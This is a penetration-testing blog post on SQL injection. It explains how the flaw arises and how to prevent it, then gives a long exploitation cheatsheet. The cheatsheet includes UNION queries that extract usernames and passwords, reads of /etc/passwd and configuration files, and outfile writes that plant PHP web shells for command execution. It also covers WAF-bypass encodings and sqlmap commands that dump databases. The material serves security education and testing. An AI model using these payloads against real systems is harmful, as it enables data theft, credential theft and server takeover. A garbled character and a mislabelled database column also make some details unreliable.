A Pentester’s Guide to SQL Injection (SQLi)

This blog will be one of many created alongside our Hacking How-To series, an educational video series around everyday pentest findings. The first installment will explore SQL Injection.

What SQL Injection is and how to spot it

SQL injection is a code injection technique for applications with a database connection. The malicious user sends a crafted SQL query to extract, add, modify, or delete data from the database.

Let’s imagine that you are using the search feature of an application, using the following keyword to search: apple

__https://vulnerableURL.com/images?search=apple__

The following SQL query is sent in the background:

__SELECT * from fruits WHERE name=’apple’__

You add a single quote in your search like ?search=apple’ and the following query is sent. The query structure is broken:

__SELECT * from fruits WHERE name='apple''__

Union Select SQL Injection

From there, the attacker writes a UNION SQL query for the search to take control of the SQL query and extract information it wasn’t intended to.

__?search=apple’ UNION SELECT username, password FROM users —__

__SELECT * from fruits WHERE name=’apple’’ UNION SELECT username, password FROM users —__

In this circumstance, username and password data from the users table is extracted rather than the intended results.

What is its impact?

SQL Injections are highly critical issues as these can be used to extract complete database contents and, in some cases, can be leveraged to a Command execution on the server. Related payloads for these attacks are given in the cheatsheet below.

How do I prevent SQL Injection?

To prevent SQL Injections, ensure that proper server-side input validation is performed on all sources of user input. Various protections should be implemented using the following in order of effectiveness:

• Errors: Ensure that SQL errors are turned off and not reflected back to a user when an error occurs as to not expose valuable information to an attacker.

• Parameterize Queries: Ensure that when a userŐs input is added to a backend SQL query, it is not string appended but placed into the specific SQL parameter. The method to perform this varies from language to language.

• Server-Side Input Length: Limit the length of each field depending on its type. For example, a name should be less than 16 characters long, and an ID should be less than 5 characters long.

• Whitelist: Create character ranges (ie. Numeric, alpha, alphanumeric, alphanumeric with specific characters) and ensure that each input is restricted to the minimum length whitelist necessary.

• Blacklist: Disallow common injection characters such as “<>/?*()&, SQL and SCRIPT commands such as SELECT, INSERT, UPDATE, DROP, and SCRIPT, newlines %0A, carriage returns %0D, null characters %00 and unnecessary or bad encoding schemas (malformed ASCII, UTF-7, UTF-8, UTF-16, Unicode, etc.).

• Logging and Web Specific IDS/IPS (Intrusion Detection/Prevention System): Ensure that proper logging is taking place and is being reviewed, and any malicious traffic which generates an alert is promptly throttled and eventually blacklisted.

SQL Injection Cheatsheet

Below you will find my cheatsheet for exploiting SQL Injection:

String Concatenation & Comments

--------------|--------------------|-----------|-------------------- 
              | MySQL              | MySQL     | PostgreSQL 
--------------|--------------------|-----------|--------------------
String Concat:| 'foo' 'bar'        |'foo'+'bar'| 'foo'||'bar'  
              | CONCAT('foo','bar')|           |               
--------------|--------------------|-----------|-------------------
Comments:     | #                  | --        |  --           
              | --                 | /*aaa*/   | /*aaa*/       
              | -- -               |           |               
              | /*aaa*/            |           |               
--------------|--------------------|-----------|--------------------

              | Oracle
--------------|-----------------------------------------------------      
String Concat:| 'foo'||'bar
              | CONCAT('foo','bar')       
--------------|-----------------------------------------------------
Comments:     | --
              |
--------------|-----------------------------------------------------

Manual Exploitation

-----------|--------------------------------------------------------     
Detection: | aa' --
           | aa' #
           | aa'/*
           | ' or 1=1--
           | ' or 1=1#
           | ' or 1=1/*
           | ') or '1'='1--
           | ') or ('1'='1--
-----------|--------------------------------------------------------
Number     | ?id=1 order by <number> #
of columns:| (Keep increasing number until you get an error, 
           | the last number that doesn’t give you an error
           | is the # of columns)
-----------|--------------------------------------------------------
Version:   | ?id=1 union select 1,version(),3,4 #
           | id=1 UNION SELECT null,@@version,null,null
           | id=3 and substring(@@version,1,1)=4
           | id=3 and substring(@@version,1,1)=5
           | id=3 union all select 1,2,@@version,4/*
-----------|--------------------------------------------------------
Current    | ?id=1 union select 1,2,user(),4 #
users:     | SELECT user(); **(Mysql)**
           | SELECT system_user(); **(Mysql, MSSQL)**
           | SELECT user_name(); **(MSSQL)**
           | SELECT user; **(MSSQL, PostgreSQL)**
           | SELECT current_user; **(PostgreSQL)**
           | SELECT user FROM dual **(Oracle)**
           | ') or ('1'='1--
-----------|--------------------------------------------------------
Tables:    | ?id=2 union select 1,table_name,3,4 
           | from information_schema.tables
           | SELECT * FROM information_schema.tables **(MySQL)**
           | SELECT * FROM information_schema.tables **(MSSQL)**
           | SELECT * FROM information_schema.tables **(PostgreSQL)**
           | SELECT * FROM all_tables **(Oracle)**
-----------|--------------------------------------------------------
Columns:   | ?id=2 union select 1,column_name,3,4 from 
           | information_schema.columns where table_name='users'
           | SELECT * FROM information_schema.columns
           | WHERE table_name = 'table-name' **(MySQL)**
           | SELECT * FROM information_schema.columns
           | WHERE table_name = 'table-name' **(MSSQL)** 
           | SELECT * FROM information_schema.columns
           | WHERE table_name = 'table-name' **(PostgreSQL)**
           | SELECT * FROM all_tab_columns
           | WHERE table_name = 'table-name' **(Oracle)**
-----------|--------------------------------------------------------
Time-Based:| SELECT sleep(10) **(MySQL)
           | WAITFOR DELAY ‘0:0:10’ **(MSSQL)
           | SELECT pg_sleep(10) **(PostgreSQL)
           | dbms_pipe.receive_message((‘a’),10) **(Oracle)
-----------|--------------------------------------------------------
Blind      | ?id=3
Injection: | ?id=3 and 1=1 **(no error)
           | ?id=3 and 1=2 **(error)
-----------|--------------------------------------------------------
Extracting | cat.php?id=2 union select
Data:      | 1,**concat(**login,0x3a,password**)**,3,4 from users
--------------------------------------------------------------------
Reading files:

‘ union select 1,2,3, load_file(‘/etc/passwd’) ,5,6,7,8 — -

‘ union select 1,2,3, load_file(‘/var/www/login.php’) ,5,6,7,8 — -

‘ union select 1,2,3, load_file(‘/var/www/includes/config.inc.php’) ,5,6,7,8 — -

‘ union select 1,2,3, load_file(‘/var/www/mysqli_connect.php’) ,5,6,7,8 — -

--------------------------------------------------------------------

Uploading files:

‘ union select 1,2,3, ‘this is a test message’ ,5,6,7,8 into outfile ‘/var/www/test’ — -

‘ union select 1,2,3, load_file(‘/var/www/test’) ,5,6,7,8 — -

‘ union select null,null,null, “<?php system($_GET[‘cmd’]) ?>” ,5,6,7,8 into outfile ‘/var/www/shell.php’ — -

‘ union select null,null,null, load_file(‘/var/www/shell.php’) ,5,6,7,8 — -

--------------------------------------------------------------------

Command Execution:

# windows
?id=1 union all select 1,2,3,4,”<?php echo shell_exec($_GET[‘cmd’]);?>”,6,7,8,9 into OUTFILE ‘c:/xampp/htdocs/cmd.php’

# linux
?id=1 union all select 1,2,3,4,”<?php echo shell_exec($_GET[‘cmd’]);?>”,6,7,8,9 into OUTFILE ‘/var/www/html/cmd.php’

-------------------------------------------------------------------

WAF Bypass

-----------|--------------------------------------------------------      
Replacing  | **/**/
Space:     | +
           | /*! */
           | /*!50000 */
           | /*!1234 */
           | /*--*/
-----------|--------------------------------------------------------
Bypass     | uNiOn (change upper-lower case)
filters for| unUNIONion (write words in the keyword)
keywords:  | %55nIoN %53eLeCt (URL encode letters - U & S in these       
           | cases)
           | Add followings around the words 
           | **/*!50000**XXXXXX***/** /*!50000UniON SeLeCt*/
-----------|--------------------------------------------------------
Version:   | ?id=1 union select 1,version(),3,4 #
           | id=1 UNION SELECT null,@@version,null,null
           | id=3 and substring(@@version,1,1)=4
           | id=3 and substring(@@version,1,1)=5
           | id=3 union all select 1,2,@@version,4/*
-----------|-------------------------------------------------------- 
# of       | **/**/**ORDER**/**/**BY**/**/**
columns:   | **/*!**order***/+/***!by***/
(By order) | **/*!**ORDER BY***/**
           | **/*!50000**ORDER BY***/
           | /*!50000**ORDER***//**//*!50000**BY***/
           |  /*!12345**ORDER***/+/*!**BY***/**
--------------------------------------------------------------------

SQLMAP - Use Tamper Scripts to Bypass WAF:

sqlmap -r login.req --dbms=mysql  --level 3 --risk 3 --timeout 100 --flush-session --technique=B --time-sec=2 --dbs --threads 10 --tamper=between,informationschemacomment,bluecoat,charencode --drop-set-cookie --fresh-queries --binary-fields -identify-waf

-------------------------------------------------------------------
SQLMAP - Tamper Scripts:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

-------------------------------------------------------------------
SQLMAP - MSSQL Tamper Scripts:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

-------------------------------------------------------------------
SQLMAP - MYSQL Tamper Scripts:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

--------------------------------------------------------------------

For more details on how to bypass a WAF you can check out my new video series Hacking How-To: SQL Injection (SQLi) All-in-One Part 2:

SQLMAP

-------------------------------------------------------------------
Crawl the page:

sqlmap -u http://.. --dbms=mysql --crawl=3

sqlmap -u http://<targetip> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level 4 --risk 3

-------------------------------------------------------------------
Specify parameter in the saved request file:

sqlmap -r login.req -p Password --dbms=mssql -v 3  --batch --level 5 --risk 3

-------------------------------------------------------------------
List DBs:

sqlmap -r request.txt --level 4 --risk 3 --dbms=mysql --batch -p <parameter> --dbs

-------------------------------------------------------------------
List tables:

sqlmap -r request.txt --level 4 --risk 3 --dbms=mysql --batch -p <parameter> -D <dbname> --tables

--------------------------------------------------------------------
Dump column data:

sqlmap -r request.txt --level 4 --risk 3 --dbms=mysql --batch -p <parameter> -D <dbname> -T <tables> --dump

--------------------------------------------------------------------
Force usage of SSL/HTTPS:

python sqlmap.py -r a.req --force-ssl --users

--------------------------------------------------------------------

For a walkthrough on how to exploit a SQLi vulnerability using SQLmap check out my new video series, Hacking How-To: SQL Injection (SQLi) All-in-One Part 1:

Some Explanations for sqlmap options:

— batch: Never ask for user input, use the default behavior

— crawl: Crawl the website starting from the target URL

— level: Level of tests to perform (1–5, default 1)

— risk: Risk of tests to perform (1–3, default 1)

— dbms: Force back-end DBMS to provided value

— dump: Dump DBMS database table entries

— force-ssl: Force usage of SSL/HTTPS

For more options, please refer to the official sqlmap guide: https://github.com/sqlmapproject/sqlmap/wiki/Usage

Also, read more Pentester's Guides with the Guide to Command Injection available here.